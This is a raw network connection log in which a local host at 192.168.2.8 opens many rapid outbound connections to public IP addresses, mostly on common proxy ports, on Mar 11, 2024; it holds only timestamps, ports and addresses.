Mar 11, 2024 18:36:44.601788998 CET	49858	4145	192.168.2.8	184.170.249.65
Mar 11, 2024 18:36:44.609314919 CET	80	49727	50.217.226.43	192.168.2.8
Mar 11, 2024 18:36:44.613642931 CET	49859	51405	192.168.2.8	51.81.186.179
Mar 11, 2024 18:36:44.614947081 CET	80	49775	50.239.72.18	192.168.2.8
Mar 11, 2024 18:36:44.615638971 CET	49860	15430	192.168.2.8	92.205.110.118
Mar 11, 2024 18:36:44.615701914 CET	49861	999	192.168.2.8	179.1.192.27
Mar 11, 2024 18:36:44.616071939 CET	49862	80	192.168.2.8	104.25.135.170
Mar 11, 2024 18:36:44.617471933 CET	4495	49765	67.43.228.252	192.168.2.8
Mar 11, 2024 18:36:44.617646933 CET	49863	64120	192.168.2.8	161.97.163.52
Mar 11, 2024 18:36:44.618627071 CET	80	49721	172.67.254.127	192.168.2.8
Mar 11, 2024 18:36:44.618674994 CET	80	49721	172.67.254.127	192.168.2.8
Mar 11, 2024 18:36:44.618848085 CET	49864	8080	192.168.2.8	105.174.40.54
Mar 11, 2024 18:36:44.618886948 CET	80	49721	172.67.254.127	192.168.2.8
Mar 11, 2024 18:36:44.618941069 CET	49721	80	192.168.2.8	172.67.254.127
Mar 11, 2024 18:36:44.620691061 CET	49865	999	192.168.2.8	45.190.78.50
Mar 11, 2024 18:36:44.622430086 CET	49721	80	192.168.2.8	172.67.254.127
Mar 11, 2024 18:36:44.623475075 CET	49866	27234	192.168.2.8	168.228.36.22
Mar 11, 2024 18:36:44.623838902 CET	49867	9090	192.168.2.8	212.108.145.195
Mar 11, 2024 18:36:44.625931978 CET	49868	80	192.168.2.8	194.186.127.60
Mar 11, 2024 18:36:44.627120018 CET	9764	49767	162.243.102.207	192.168.2.8
Mar 11, 2024 18:36:44.627197027 CET	49767	9764	192.168.2.8	162.243.102.207
Mar 11, 2024 18:36:44.627286911 CET	49869	17045	192.168.2.8	88.202.230.103
Mar 11, 2024 18:36:44.628542900 CET	49767	9764	192.168.2.8	162.243.102.207
Mar 11, 2024 18:36:44.628895998 CET	49870	8181	192.168.2.8	103.78.96.146
Mar 11, 2024 18:36:44.629652977 CET	49871	34144	192.168.2.8	51.75.126.150
Mar 11, 2024 18:36:44.630636930 CET	49872	8080	192.168.2.8	87.76.1.251
Mar 11, 2024 18:36:44.632411003 CET	49873	4444	192.168.2.8	193.143.1.201
Mar 11, 2024 18:36:44.634128094 CET	49874	3128	192.168.2.8	34.85.177.170
Mar 11, 2024 18:36:44.635719061 CET	49875	9990	192.168.2.8	103.234.26.163
Mar 11, 2024 18:36:44.637573957 CET	49876	5678	192.168.2.8	1.15.62.12
Mar 11, 2024 18:36:44.639669895 CET	49877	3128	192.168.2.8	160.16.90.35
Mar 11, 2024 18:36:44.640363932 CET	8081	49726	79.110.196.145	192.168.2.8
Mar 11, 2024 18:36:44.640461922 CET	49726	8081	192.168.2.8	79.110.196.145
Mar 11, 2024 18:36:44.641441107 CET	49726	8081	192.168.2.8	79.110.196.145
Mar 11, 2024 18:36:44.641966105 CET	49878	37847	192.168.2.8	51.75.126.150
Mar 11, 2024 18:36:44.642962933 CET	49879	80	192.168.2.8	146.59.202.70
Mar 11, 2024 18:36:44.644643068 CET	80	49737	104.16.226.6	192.168.2.8
Mar 11, 2024 18:36:44.644665003 CET	80	49737	104.16.226.6	192.168.2.8
Mar 11, 2024 18:36:44.645102024 CET	49880	3128	192.168.2.8	18.134.236.231
Mar 11, 2024 18:36:44.645209074 CET	80	49737	104.16.226.6	192.168.2.8
Mar 11, 2024 18:36:44.645255089 CET	49737	80	192.168.2.8	104.16.226.6
Mar 11, 2024 18:36:44.645330906 CET	49737	80	192.168.2.8	104.16.226.6
Mar 11, 2024 18:36:44.646044970 CET	80	49785	93.188.161.84	192.168.2.8
Mar 11, 2024 18:36:44.646152973 CET	49785	80	192.168.2.8	93.188.161.84
Mar 11, 2024 18:36:44.646812916 CET	49881	5678	192.168.2.8	176.119.227.65
Mar 11, 2024 18:36:44.646893978 CET	49785	80	192.168.2.8	93.188.161.84
Mar 11, 2024 18:36:44.647413969 CET	8000	49734	14.103.24.148	192.168.2.8
Mar 11, 2024 18:36:44.647479057 CET	28971	49777	67.43.228.254	192.168.2.8
Mar 11, 2024 18:36:44.647623062 CET	49734	8000	192.168.2.8	14.103.24.148
Mar 11, 2024 18:36:44.648482084 CET	49734	8000	192.168.2.8	14.103.24.148
Mar 11, 2024 18:36:44.649000883 CET	49882	7777	192.168.2.8	123.30.154.171
Mar 11, 2024 18:36:44.650497913 CET	49883	32650	192.168.2.8	41.217.220.214
Mar 11, 2024 18:36:44.650712013 CET	80	49799	45.12.31.3	192.168.2.8
Mar 11, 2024 18:36:44.650834084 CET	49799	80	192.168.2.8	45.12.31.3
Mar 11, 2024 18:36:44.651897907 CET	49799	80	192.168.2.8	45.12.31.3
Mar 11, 2024 18:36:44.653109074 CET	49884	8000	192.168.2.8	178.128.156.219
Mar 11, 2024 18:36:44.654025078 CET	49885	4145	192.168.2.8	184.178.172.14
Mar 11, 2024 18:36:44.655949116 CET	80	49744	104.21.6.88	192.168.2.8
Mar 11, 2024 18:36:44.655972004 CET	80	49744	104.21.6.88	192.168.2.8
Mar 11, 2024 18:36:44.656452894 CET	80	49744	104.21.6.88	192.168.2.8
Mar 11, 2024 18:36:44.656614065 CET	49744	80	192.168.2.8	104.21.6.88
Mar 11, 2024 18:36:44.656946898 CET	33590	49736	85.120.30.66	192.168.2.8
Mar 11, 2024 18:36:44.657856941 CET	50605	49782	51.81.89.146	192.168.2.8
Mar 11, 2024 18:36:44.660295010 CET	49744	80	192.168.2.8	104.21.6.88
Mar 11, 2024 18:36:44.660567999 CET	49886	1080	192.168.2.8	89.187.216.58
Mar 11, 2024 18:36:44.662445068 CET	49887	16379	192.168.2.8	51.15.254.129
Mar 11, 2024 18:36:44.664150953 CET	49888	31337	192.168.2.8	186.251.255.105
Mar 11, 2024 18:36:44.665558100 CET	49889	80	192.168.2.8	50.174.145.11
Mar 11, 2024 18:36:44.666296005 CET	80	49717	41.74.91.244	192.168.2.8
Mar 11, 2024 18:36:44.666359901 CET	49717	80	192.168.2.8	41.74.91.244
Mar 11, 2024 18:36:44.666758060 CET	49717	80	192.168.2.8	41.74.91.244
Mar 11, 2024 18:36:44.666958094 CET	49890	8080	192.168.2.8	103.147.247.79
Mar 11, 2024 18:36:44.668585062 CET	49891	3128	192.168.2.8	94.131.106.196
Mar 11, 2024 18:36:44.669049025 CET	31033	49787	67.43.228.253	192.168.2.8
Mar 11, 2024 18:36:44.670552969 CET	49892	80	192.168.2.8	50.168.72.112
Mar 11, 2024 18:36:44.671746969 CET	49893	80	192.168.2.8	50.223.239.166
Mar 11, 2024 18:36:44.672079086 CET	4145	49729	152.32.78.24	192.168.2.8
Mar 11, 2024 18:36:44.672642946 CET	32221	49789	67.43.228.254	192.168.2.8
Mar 11, 2024 18:36:44.673403978 CET	49894	53783	192.168.2.8	162.241.46.69
Mar 11, 2024 18:36:44.673955917 CET	4145	49808	184.181.217.194	192.168.2.8
Mar 11, 2024 18:36:44.674006939 CET	49808	4145	192.168.2.8	184.181.217.194
Mar 11, 2024 18:36:44.678558111 CET	80	49813	104.17.84.150	192.168.2.8
Mar 11, 2024 18:36:44.678615093 CET	49813	80	192.168.2.8	104.17.84.150
Mar 11, 2024 18:36:44.678879023 CET	49896	45248	192.168.2.8	166.62.121.127
Mar 11, 2024 18:36:44.679007053 CET	49895	64768	192.168.2.8	173.212.250.16
Mar 11, 2024 18:36:44.679111004 CET	49897	8080	192.168.2.8	95.47.149.8
Mar 11, 2024 18:36:44.679670095 CET	49813	80	192.168.2.8	104.17.84.150
Mar 11, 2024 18:36:44.682152987 CET	49899	49806	192.168.2.8	162.214.225.223
Mar 11, 2024 18:36:44.683979034 CET	49900	8090	192.168.2.8	119.28.60.64
Mar 11, 2024 18:36:44.685143948 CET	49901	8080	192.168.2.8	103.153.232.41
Mar 11, 2024 18:36:44.686659098 CET	49902	55443	192.168.2.8	202.165.47.90
Mar 11, 2024 18:36:44.688566923 CET	49903	8061	192.168.2.8	103.169.254.186
Mar 11, 2024 18:36:44.689006090 CET	49904	32100	192.168.2.8	50.233.111.162
Mar 11, 2024 18:36:44.692761898 CET	3129	49719	20.219.180.149	192.168.2.8
Mar 11, 2024 18:36:44.692966938 CET	80	49797	50.239.72.19	192.168.2.8
Mar 11, 2024 18:36:44.693640947 CET	80	49820	104.16.81.76	192.168.2.8
Mar 11, 2024 18:36:44.693708897 CET	49820	80	192.168.2.8	104.16.81.76
Mar 11, 2024 18:36:44.696166992 CET	49898	5678	192.168.2.8	173.224.20.136
Mar 11, 2024 18:36:44.696417093 CET	49820	80	192.168.2.8	104.16.81.76
Mar 11, 2024 18:36:44.696613073 CET	49905	8888	192.168.2.8	65.109.152.88
Mar 11, 2024 18:36:44.697521925 CET	49906	42931	192.168.2.8	88.211.85.169
Mar 11, 2024 18:36:44.699131966 CET	49907	5484	192.168.2.8	104.238.111.107
Mar 11, 2024 18:36:44.699388027 CET	80	49764	172.67.182.169	192.168.2.8
Mar 11, 2024 18:36:44.699528933 CET	80	49764	172.67.182.169	192.168.2.8
Mar 11, 2024 18:36:44.699704885 CET	80	49764	172.67.182.169	192.168.2.8
Mar 11, 2024 18:36:44.699768066 CET	49764	80	192.168.2.8	172.67.182.169
Mar 11, 2024 18:36:44.699851036 CET	49764	80	192.168.2.8	172.67.182.169
Mar 11, 2024 18:36:44.700841904 CET	80	49815	143.198.226.25	192.168.2.8
Mar 11, 2024 18:36:44.700911045 CET	49815	80	192.168.2.8	143.198.226.25
Mar 11, 2024 18:36:44.701592922 CET	49815	80	192.168.2.8	143.198.226.25
Mar 11, 2024 18:36:44.701853991 CET	8800	49740	43.133.136.208	192.168.2.8
Mar 11, 2024 18:36:44.701914072 CET	49740	8800	192.168.2.8	43.133.136.208
Mar 11, 2024 18:36:44.702183008 CET	49740	8800	192.168.2.8	43.133.136.208
Mar 11, 2024 18:36:44.709636927 CET	80	49769	104.17.9.114	192.168.2.8
Mar 11, 2024 18:36:44.709692001 CET	80	49769	104.17.9.114	192.168.2.8
Mar 11, 2024 18:36:44.709805012 CET	22881	49757	208.109.14.49	192.168.2.8
Mar 11, 2024 18:36:44.709866047 CET	49757	22881	192.168.2.8	208.109.14.49
Mar 11, 2024 18:36:44.710201979 CET	8123	49759	20.24.43.214	192.168.2.8
Mar 11, 2024 18:36:44.710834980 CET	80	49769	104.17.9.114	192.168.2.8
Mar 11, 2024 18:36:44.710937023 CET	49769	80	192.168.2.8	104.17.9.114
Mar 11, 2024 18:36:44.711467028 CET	80	49779	50.174.145.9	192.168.2.8
Mar 11, 2024 18:36:44.714997053 CET	49757	22881	192.168.2.8	208.109.14.49
Mar 11, 2024 18:36:44.715212107 CET	49769	80	192.168.2.8	104.17.9.114
Mar 11, 2024 18:36:44.716639042 CET	49908	13003	192.168.2.8	192.99.207.129
Mar 11, 2024 18:36:44.717140913 CET	49909	3128	192.168.2.8	194.182.187.78
Mar 11, 2024 18:36:44.717509031 CET	49910	9091	192.168.2.8	103.112.128.37
Mar 11, 2024 18:36:44.718286991 CET	49911	9090	192.168.2.8	45.90.104.150
Mar 11, 2024 18:36:44.718770981 CET	49912	80	192.168.2.8	39.105.5.126
Mar 11, 2024 18:36:44.720108032 CET	49913	8080	192.168.2.8	46.0.203.186
Mar 11, 2024 18:36:44.720710039 CET	49914	80	192.168.2.8	165.154.236.214
Mar 11, 2024 18:36:44.721184015 CET	49915	80	192.168.2.8	103.152.112.145
Mar 11, 2024 18:36:44.721832037 CET	3128	49752	8.209.255.13	192.168.2.8
Mar 11, 2024 18:36:44.721941948 CET	49752	3128	192.168.2.8	8.209.255.13
Mar 11, 2024 18:36:44.721941948 CET	49916	5775	192.168.2.8	72.10.160.92
Mar 11, 2024 18:36:44.722217083 CET	49752	3128	192.168.2.8	8.209.255.13
Mar 11, 2024 18:36:44.724544048 CET	49917	1974	192.168.2.8	41.33.203.115
Mar 11, 2024 18:36:44.725130081 CET	49918	3128	192.168.2.8	5.252.23.249
Mar 11, 2024 18:36:44.725254059 CET	8080	49776	20.37.207.8	192.168.2.8
Mar 11, 2024 18:36:44.725320101 CET	49776	8080	192.168.2.8	20.37.207.8
Mar 11, 2024 18:36:44.725620985 CET	49776	8080	192.168.2.8	20.37.207.8
Mar 11, 2024 18:36:44.729557037 CET	49919	80	192.168.2.8	50.175.212.74
Mar 11, 2024 18:36:44.730331898 CET	49920	10710	192.168.2.8	37.187.77.58
Mar 11, 2024 18:36:44.730578899 CET	49921	80	192.168.2.8	104.16.105.106
Mar 11, 2024 18:36:44.730659962 CET	49922	80	192.168.2.8	178.128.200.87
Mar 11, 2024 18:36:44.731206894 CET	49923	3128	192.168.2.8	178.158.166.161
Mar 11, 2024 18:36:44.731997013 CET	80	49841	185.162.229.127	192.168.2.8
Mar 11, 2024 18:36:44.732101917 CET	49841	80	192.168.2.8	185.162.229.127
Mar 11, 2024 18:36:44.733438969 CET	49841	80	192.168.2.8	185.162.229.127
Mar 11, 2024 18:36:44.733477116 CET	49924	9510	192.168.2.8	92.247.12.136
Mar 11, 2024 18:36:44.734096050 CET	5678	49760	178.212.51.79	192.168.2.8
Mar 11, 2024 18:36:44.734550953 CET	49925	45883	192.168.2.8	104.238.111.107
Mar 11, 2024 18:36:44.735208035 CET	49926	80	192.168.2.8	118.222.104.135
Mar 11, 2024 18:36:44.735964060 CET	4995	49745	116.97.240.147	192.168.2.8
Mar 11, 2024 18:36:44.736025095 CET	49745	4995	192.168.2.8	116.97.240.147
Mar 11, 2024 18:36:44.736156940 CET	15673	49774	43.155.165.196	192.168.2.8
Mar 11, 2024 18:36:44.736222982 CET	49774	15673	192.168.2.8	43.155.165.196
Mar 11, 2024 18:36:44.736562967 CET	49745	4995	192.168.2.8	116.97.240.147
Mar 11, 2024 18:36:44.736619949 CET	49774	15673	192.168.2.8	43.155.165.196
Mar 11, 2024 18:36:44.737245083 CET	49927	5678	192.168.2.8	181.78.13.91
Mar 11, 2024 18:36:44.740228891 CET	49928	8080	192.168.2.8	57.128.163.242
Mar 11, 2024 18:36:44.740889072 CET	49929	58740	192.168.2.8	162.214.197.102
Mar 11, 2024 18:36:44.741511106 CET	49930	8193	192.168.2.8	211.222.252.187
Mar 11, 2024 18:36:44.741672039 CET	4145	49738	142.54.237.34	192.168.2.8
Mar 11, 2024 18:36:44.741729021 CET	4145	49738	142.54.237.34	192.168.2.8
Mar 11, 2024 18:36:44.742275000 CET	49931	80	192.168.2.8	45.139.11.200
Mar 11, 2024 18:36:44.743169069 CET	49932	4145	192.168.2.8	142.54.237.34
Mar 11, 2024 18:36:44.746381044 CET	49933	8888	192.168.2.8	47.254.90.125
Mar 11, 2024 18:36:44.746814013 CET	49934	80	192.168.2.8	50.168.163.166
Mar 11, 2024 18:36:44.747792959 CET	49935	15673	192.168.2.8	43.131.245.216
Mar 11, 2024 18:36:44.748049974 CET	80	49853	172.67.187.242	192.168.2.8
Mar 11, 2024 18:36:44.748086929 CET	31679	49849	98.162.25.29	192.168.2.8
Mar 11, 2024 18:36:44.748115063 CET	49853	80	192.168.2.8	172.67.187.242
Mar 11, 2024 18:36:44.748142958 CET	49849	31679	192.168.2.8	98.162.25.29
Mar 11, 2024 18:36:44.748825073 CET	49853	80	192.168.2.8	172.67.187.242
Mar 11, 2024 18:36:44.750327110 CET	49936	80	192.168.2.8	14.142.36.210
Mar 11, 2024 18:36:44.750967979 CET	49937	8080	192.168.2.8	176.213.141.107
Mar 11, 2024 18:36:44.751482964 CET	49938	12446	192.168.2.8	148.72.209.174
Mar 11, 2024 18:36:44.752049923 CET	49939	18080	192.168.2.8	8.142.132.204
Mar 11, 2024 18:36:44.753289938 CET	49940	8901	192.168.2.8	94.124.16.218
Mar 11, 2024 18:36:44.754551888 CET	8081	49722	154.72.90.74	192.168.2.8
Mar 11, 2024 18:36:44.757267952 CET	26315	49817	72.10.160.171	192.168.2.8
Mar 11, 2024 18:36:44.759763002 CET	49941	80	192.168.2.8	119.81.189.194
Mar 11, 2024 18:36:44.759807110 CET	49942	8080	192.168.2.8	103.115.242.192
Mar 11, 2024 18:36:44.761317015 CET	49943	1981	192.168.2.8	41.65.236.56
Mar 11, 2024 18:36:44.761324883 CET	5678	49749	122.152.53.25	192.168.2.8
Mar 11, 2024 18:36:44.761826038 CET	49944	8080	192.168.2.8	38.253.232.2
Mar 11, 2024 18:36:44.761956930 CET	49945	39323	192.168.2.8	207.180.234.220
Mar 11, 2024 18:36:44.763523102 CET	49946	80	192.168.2.8	104.16.106.65
Mar 11, 2024 18:36:44.763650894 CET	8080	49784	42.200.196.208	192.168.2.8
Mar 11, 2024 18:36:44.763725996 CET	49784	8080	192.168.2.8	42.200.196.208
Mar 11, 2024 18:36:44.763879061 CET	49947	4145	192.168.2.8	36.90.61.224
Mar 11, 2024 18:36:44.764445066 CET	49948	80	192.168.2.8	50.170.90.24
Mar 11, 2024 18:36:44.764663935 CET	49784	8080	192.168.2.8	42.200.196.208
Mar 11, 2024 18:36:44.765491009 CET	49949	999	192.168.2.8	190.113.40.202
Mar 11, 2024 18:36:44.766119003 CET	49950	18067	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:44.766746044 CET	49951	26353	192.168.2.8	67.43.227.228
Mar 11, 2024 18:36:44.768286943 CET	49952	1080	192.168.2.8	103.234.27.153
Mar 11, 2024 18:36:44.770345926 CET	49953	3129	192.168.2.8	103.76.253.66
Mar 11, 2024 18:36:44.770570040 CET	80	49862	104.25.135.170	192.168.2.8
Mar 11, 2024 18:36:44.770641088 CET	49862	80	192.168.2.8	104.25.135.170
Mar 11, 2024 18:36:44.772170067 CET	49862	80	192.168.2.8	104.25.135.170
Mar 11, 2024 18:36:44.772806883 CET	49955	8080	192.168.2.8	38.156.73.54
Mar 11, 2024 18:36:44.772819996 CET	49954	49858	192.168.2.8	162.241.50.179
Mar 11, 2024 18:36:44.773586988 CET	49956	8080	192.168.2.8	137.59.48.20
Mar 11, 2024 18:36:44.774333000 CET	49957	3128	192.168.2.8	178.245.145.234
Mar 11, 2024 18:36:44.775270939 CET	9039	49826	67.43.227.228	192.168.2.8
Mar 11, 2024 18:36:44.775655031 CET	49958	80	192.168.2.8	218.255.187.60
Mar 11, 2024 18:36:44.776061058 CET	49959	48117	192.168.2.8	162.215.219.157
Mar 11, 2024 18:36:44.776704073 CET	80	49721	172.67.254.127	192.168.2.8
Mar 11, 2024 18:36:44.778276920 CET	49960	999	192.168.2.8	170.239.205.1
Mar 11, 2024 18:36:44.779870033 CET	49961	55198	192.168.2.8	51.89.173.40
Mar 11, 2024 18:36:44.780299902 CET	49962	80	192.168.2.8	144.24.122.46
Mar 11, 2024 18:36:44.780957937 CET	49963	17145	192.168.2.8	67.43.236.18
Mar 11, 2024 18:36:44.782896042 CET	49964	55109	192.168.2.8	161.97.163.52
Mar 11, 2024 18:36:44.783668041 CET	49965	13623	192.168.2.8	36.255.104.1
Mar 11, 2024 18:36:44.785052061 CET	49966	3128	192.168.2.8	35.237.210.215
Mar 11, 2024 18:36:44.786715984 CET	49967	59243	192.168.2.8	159.223.71.71
Mar 11, 2024 18:36:44.789081097 CET	49968	8888	192.168.2.8	51.15.242.202
Mar 11, 2024 18:36:44.790159941 CET	49969	1976	192.168.2.8	41.128.148.76
Mar 11, 2024 18:36:44.790441036 CET	49970	3128	192.168.2.8	195.154.172.161
Mar 11, 2024 18:36:44.791085005 CET	80	49834	50.172.218.160	192.168.2.8
Mar 11, 2024 18:36:44.791398048 CET	49971	80	192.168.2.8	52.196.1.182
Mar 11, 2024 18:36:44.792148113 CET	49972	8888	192.168.2.8	38.156.72.135
Mar 11, 2024 18:36:44.793003082 CET	49973	4145	192.168.2.8	142.54.229.249
Mar 11, 2024 18:36:44.793766022 CET	49974	80	192.168.2.8	104.18.20.160
Mar 11, 2024 18:36:44.794156075 CET	3128	49770	46.245.77.52	192.168.2.8
Mar 11, 2024 18:36:44.795902014 CET	49975	1488	192.168.2.8	85.94.24.29
Mar 11, 2024 18:36:44.796384096 CET	49976	51918	192.168.2.8	162.214.197.102
Mar 11, 2024 18:36:44.797072887 CET	49977	80	192.168.2.8	50.172.75.125
Mar 11, 2024 18:36:44.798393965 CET	49978	8080	192.168.2.8	92.118.132.125
Mar 11, 2024 18:36:44.800060987 CET	49979	59820	192.168.2.8	107.180.88.173
Mar 11, 2024 18:36:44.804893017 CET	49980	59870	192.168.2.8	37.187.77.58
Mar 11, 2024 18:36:44.805068970 CET	49981	38117	192.168.2.8	132.148.245.169
Mar 11, 2024 18:36:44.805607080 CET	49982	25639	192.168.2.8	67.43.227.226
Mar 11, 2024 18:36:44.806217909 CET	80	49799	45.12.31.3	192.168.2.8
Mar 11, 2024 18:36:44.806297064 CET	80	49799	45.12.31.3	192.168.2.8
Mar 11, 2024 18:36:44.806735039 CET	80	49799	45.12.31.3	192.168.2.8
Mar 11, 2024 18:36:44.806773901 CET	49799	80	192.168.2.8	45.12.31.3
Mar 11, 2024 18:36:44.806886911 CET	49799	80	192.168.2.8	45.12.31.3
Mar 11, 2024 18:36:44.807385921 CET	49983	8118	192.168.2.8	182.140.244.163
Mar 11, 2024 18:36:44.807590961 CET	49984	1080	192.168.2.8	202.142.167.210
Mar 11, 2024 18:36:44.808645010 CET	49985	45639	192.168.2.8	103.212.93.241
Mar 11, 2024 18:36:44.808700085 CET	49986	16379	192.168.2.8	163.172.171.22
Mar 11, 2024 18:36:44.810015917 CET	49988	23854	192.168.2.8	51.89.173.40
Mar 11, 2024 18:36:44.810136080 CET	49987	999	192.168.2.8	190.97.238.89
Mar 11, 2024 18:36:44.810826063 CET	49989	32650	192.168.2.8	103.176.116.171
Mar 11, 2024 18:36:44.812598944 CET	49990	3128	192.168.2.8	125.99.106.250
Mar 11, 2024 18:36:44.812764883 CET	49991	5678	192.168.2.8	103.130.112.253
Mar 11, 2024 18:36:44.813595057 CET	49992	37355	192.168.2.8	167.172.109.12
Mar 11, 2024 18:36:44.814435959 CET	49993	5678	192.168.2.8	178.236.122.164
Mar 11, 2024 18:36:44.814455986 CET	80	49744	104.21.6.88	192.168.2.8
Mar 11, 2024 18:36:44.814477921 CET	4145	49885	184.178.172.14	192.168.2.8
Mar 11, 2024 18:36:44.814584017 CET	49885	4145	192.168.2.8	184.178.172.14
Mar 11, 2024 18:36:44.816246033 CET	49994	10003	192.168.2.8	147.75.34.86
Mar 11, 2024 18:36:44.817980051 CET	49995	60069	192.168.2.8	148.72.23.56
Mar 11, 2024 18:36:44.818418980 CET	9401	49822	147.75.92.251	192.168.2.8
Mar 11, 2024 18:36:44.818490028 CET	49822	9401	192.168.2.8	147.75.92.251
Mar 11, 2024 18:36:44.818861961 CET	49822	9401	192.168.2.8	147.75.92.251
Mar 11, 2024 18:36:44.819048882 CET	49996	9091	192.168.2.8	120.37.121.209
Mar 11, 2024 18:36:44.820472002 CET	49997	80	192.168.2.8	20.187.77.5
Mar 11, 2024 18:36:44.822532892 CET	49998	8080	192.168.2.8	185.200.37.245
Mar 11, 2024 18:36:44.823064089 CET	49999	80	192.168.2.8	162.144.236.128
Mar 11, 2024 18:36:44.823970079 CET	50000	16379	192.168.2.8	163.172.165.36
Mar 11, 2024 18:36:44.825155973 CET	50001	34350	192.168.2.8	66.29.128.246
Mar 11, 2024 18:36:44.825655937 CET	50002	80	192.168.2.8	172.67.181.197
Mar 11, 2024 18:36:44.827195883 CET	50003	3128	192.168.2.8	51.178.43.147
Mar 11, 2024 18:36:44.827325106 CET	50004	28695	192.168.2.8	92.204.134.38
Mar 11, 2024 18:36:44.829000950 CET	50005	48612	192.168.2.8	191.103.219.225
Mar 11, 2024 18:36:44.829899073 CET	50006	80	192.168.2.8	104.27.15.161
Mar 11, 2024 18:36:44.829961061 CET	80	49810	149.202.91.219	192.168.2.8
Mar 11, 2024 18:36:44.830024004 CET	49810	80	192.168.2.8	149.202.91.219
Mar 11, 2024 18:36:44.830291986 CET	49810	80	192.168.2.8	149.202.91.219
Mar 11, 2024 18:36:44.830887079 CET	50007	24834	192.168.2.8	107.180.88.41
Mar 11, 2024 18:36:44.831983089 CET	8081	49803	193.239.56.84	192.168.2.8
Mar 11, 2024 18:36:44.832053900 CET	49803	8081	192.168.2.8	193.239.56.84
Mar 11, 2024 18:36:44.832278013 CET	49803	8081	192.168.2.8	193.239.56.84
Mar 11, 2024 18:36:44.833120108 CET	50008	4153	192.168.2.8	110.74.195.2
Mar 11, 2024 18:36:44.833211899 CET	1080	49806	185.82.87.30	192.168.2.8
Mar 11, 2024 18:36:44.833270073 CET	49806	1080	192.168.2.8	185.82.87.30
Mar 11, 2024 18:36:44.833554029 CET	49806	1080	192.168.2.8	185.82.87.30
Mar 11, 2024 18:36:44.834147930 CET	50009	18374	192.168.2.8	92.205.110.118
Mar 11, 2024 18:36:44.834556103 CET	80	49813	104.17.84.150	192.168.2.8
Mar 11, 2024 18:36:44.834619999 CET	80	49813	104.17.84.150	192.168.2.8
Mar 11, 2024 18:36:44.834645033 CET	80	49813	104.17.84.150	192.168.2.8
Mar 11, 2024 18:36:44.834686995 CET	49813	80	192.168.2.8	104.17.84.150
Mar 11, 2024 18:36:44.834893942 CET	49813	80	192.168.2.8	104.17.84.150
Mar 11, 2024 18:36:44.836163998 CET	4145	49858	184.170.249.65	192.168.2.8
Mar 11, 2024 18:36:44.836236000 CET	49858	4145	192.168.2.8	184.170.249.65
Mar 11, 2024 18:36:44.836735010 CET	50010	55137	192.168.2.8	192.169.197.146
Mar 11, 2024 18:36:44.836781979 CET	49858	4145	192.168.2.8	184.170.249.65
Mar 11, 2024 18:36:44.837163925 CET	50011	3128	192.168.2.8	178.128.148.69
Mar 11, 2024 18:36:44.838537931 CET	50012	443	192.168.2.8	43.153.52.155
Mar 11, 2024 18:36:44.838562965 CET	443	50012	43.153.52.155	192.168.2.8
Mar 11, 2024 18:36:44.838612080 CET	50012	443	192.168.2.8	43.153.52.155
Mar 11, 2024 18:36:44.838862896 CET	50012	443	192.168.2.8	43.153.52.155
Mar 11, 2024 18:36:44.838872910 CET	443	50012	43.153.52.155	192.168.2.8
Mar 11, 2024 18:36:44.838922024 CET	443	50012	43.153.52.155	192.168.2.8
Mar 11, 2024 18:36:44.840159893 CET	50013	443	192.168.2.8	43.153.52.155
Mar 11, 2024 18:36:44.840197086 CET	443	50013	43.153.52.155	192.168.2.8
Mar 11, 2024 18:36:44.840250969 CET	50013	443	192.168.2.8	43.153.52.155
Mar 11, 2024 18:36:44.840579987 CET	50013	443	192.168.2.8	43.153.52.155
Mar 11, 2024 18:36:44.840590000 CET	443	50013	43.153.52.155	192.168.2.8
Mar 11, 2024 18:36:44.840626001 CET	443	50013	43.153.52.155	192.168.2.8
Mar 11, 2024 18:36:44.844657898 CET	50014	52017	192.168.2.8	131.0.87.225
Mar 11, 2024 18:36:44.845700979 CET	3128	49823	15.236.106.236	192.168.2.8
Mar 11, 2024 18:36:44.845767021 CET	49823	3128	192.168.2.8	15.236.106.236
Mar 11, 2024 18:36:44.847225904 CET	45248	49896	166.62.121.127	192.168.2.8
Mar 11, 2024 18:36:44.847250938 CET	49823	3128	192.168.2.8	15.236.106.236
Mar 11, 2024 18:36:44.847413063 CET	4145	49852	174.64.199.82	192.168.2.8
Mar 11, 2024 18:36:44.847498894 CET	49852	4145	192.168.2.8	174.64.199.82
Mar 11, 2024 18:36:44.847707033 CET	50015	443	192.168.2.8	43.153.52.155
Mar 11, 2024 18:36:44.847737074 CET	443	50015	43.153.52.155	192.168.2.8
Mar 11, 2024 18:36:44.847783089 CET	50015	443	192.168.2.8	43.153.52.155
Mar 11, 2024 18:36:44.848170042 CET	50016	80	192.168.2.8	162.159.242.138
Mar 11, 2024 18:36:44.848510027 CET	16379	49829	163.172.147.9	192.168.2.8
Mar 11, 2024 18:36:44.848562002 CET	49829	16379	192.168.2.8	163.172.147.9
Mar 11, 2024 18:36:44.849215031 CET	49852	4145	192.168.2.8	174.64.199.82
Mar 11, 2024 18:36:44.849215031 CET	50017	5385	192.168.2.8	72.10.160.170
Mar 11, 2024 18:36:44.849378109 CET	50018	80	192.168.2.8	50.168.210.239
Mar 11, 2024 18:36:44.849565029 CET	50019	8888	192.168.2.8	95.164.89.123
Mar 11, 2024 18:36:44.849737883 CET	49829	16379	192.168.2.8	163.172.147.9
Mar 11, 2024 18:36:44.850291014 CET	50015	443	192.168.2.8	43.153.52.155
Mar 11, 2024 18:36:44.850301027 CET	443	50015	43.153.52.155	192.168.2.8
Mar 11, 2024 18:36:44.850351095 CET	443	50015	43.153.52.155	192.168.2.8
Mar 11, 2024 18:36:44.850872040 CET	80	49820	104.16.81.76	192.168.2.8
Mar 11, 2024 18:36:44.850939035 CET	80	49820	104.16.81.76	192.168.2.8
Mar 11, 2024 18:36:44.851063967 CET	80	49820	104.16.81.76	192.168.2.8
Mar 11, 2024 18:36:44.851106882 CET	49820	80	192.168.2.8	104.16.81.76
Mar 11, 2024 18:36:44.851290941 CET	49820	80	192.168.2.8	104.16.81.76
Mar 11, 2024 18:36:44.852076054 CET	50020	1080	192.168.2.8	139.255.132.68
Mar 11, 2024 18:36:44.853679895 CET	50021	31295	192.168.2.8	67.43.236.20
Mar 11, 2024 18:36:44.854110956 CET	80	49764	172.67.182.169	192.168.2.8
Mar 11, 2024 18:36:44.854477882 CET	50023	3127	192.168.2.8	59.92.70.176
Mar 11, 2024 18:36:44.854526997 CET	50022	3933	192.168.2.8	67.43.228.253
Mar 11, 2024 18:36:44.855750084 CET	50024	3030	192.168.2.8	158.247.207.153
Mar 11, 2024 18:36:44.856479883 CET	50025	80	192.168.2.8	45.224.247.102
